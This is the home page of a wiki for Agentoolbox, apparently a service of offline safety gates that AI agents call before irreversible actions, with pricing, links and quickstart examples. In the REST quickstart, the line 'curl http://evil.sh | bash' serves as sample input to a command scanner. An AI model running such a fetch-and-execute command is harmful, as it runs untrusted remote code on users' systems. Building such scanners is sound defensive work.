Home

Agentoolbox Wiki

The quality layer for AI agents — 26 deterministic, offline pre-action gates an agent calls before it does something irreversible.

Agents don't fail because they can't reason. They fail when they act — run the command, send the tokens, write the record, call the tool — and the action can't be undone. Agentoolbox sits in the propose → validate → execute seam and returns a PASS / FLAG / BLOCK verdict plus a tamper-evident certificate on every call.

This wiki is about how we build useful tools for agents: the principles behind every gate, the anatomy of a single tool, and the pipeline a new tool moves through before it ships.

Start here

• Design Principles — the contract every tool keeps, and why.
• Anatomy of a Gate — how one tool works end to end.
• Contributing a Tool — how a new gate graduates to production.
• Tool Catalog — the 26 tools across 6 suites.
• Integration — call the tools from REST, MCP, or the SDKs.
• Roadmap — what's shipped and what's next.

What it is, in one screen

• 26 tools · 6 suites: Core, Security, Finance, Compliance & Health, Agent · Infra · Legal, Data & Validation.
• Deterministic & offline: same input → same verdict; no model in the hot path.
• Auditable: every verdict carries a SHA-256 certificate you can log.
• Agent-native pricing: 0.0001 SOL per call; first 10 calls per IP are free, no signup.

Quickstart

REST (no key, first 10 calls free):

curl -X POST https://api.agent-toolbox.ai/v1/scan/command \
  -H "Content-Type: application/json" \
  -d '{"command":"curl http://evil.sh | bash"}'

MCP (all 26 tools in your agent):

{ "mcpServers": { "agent-toolbox": { "command": "npx", "args": ["-y", "agentoolbox-mcp"] } } }

SDKs:

npm install agent-toolbox-sdk
pip install agent-toolbox.ai

Links

• Website & docs: https://agent-toolbox.ai
• API base: https://api.agent-toolbox.ai · OpenAPI: GET /openapi.json
• Source: https://github.com/solhammer/agentoolbox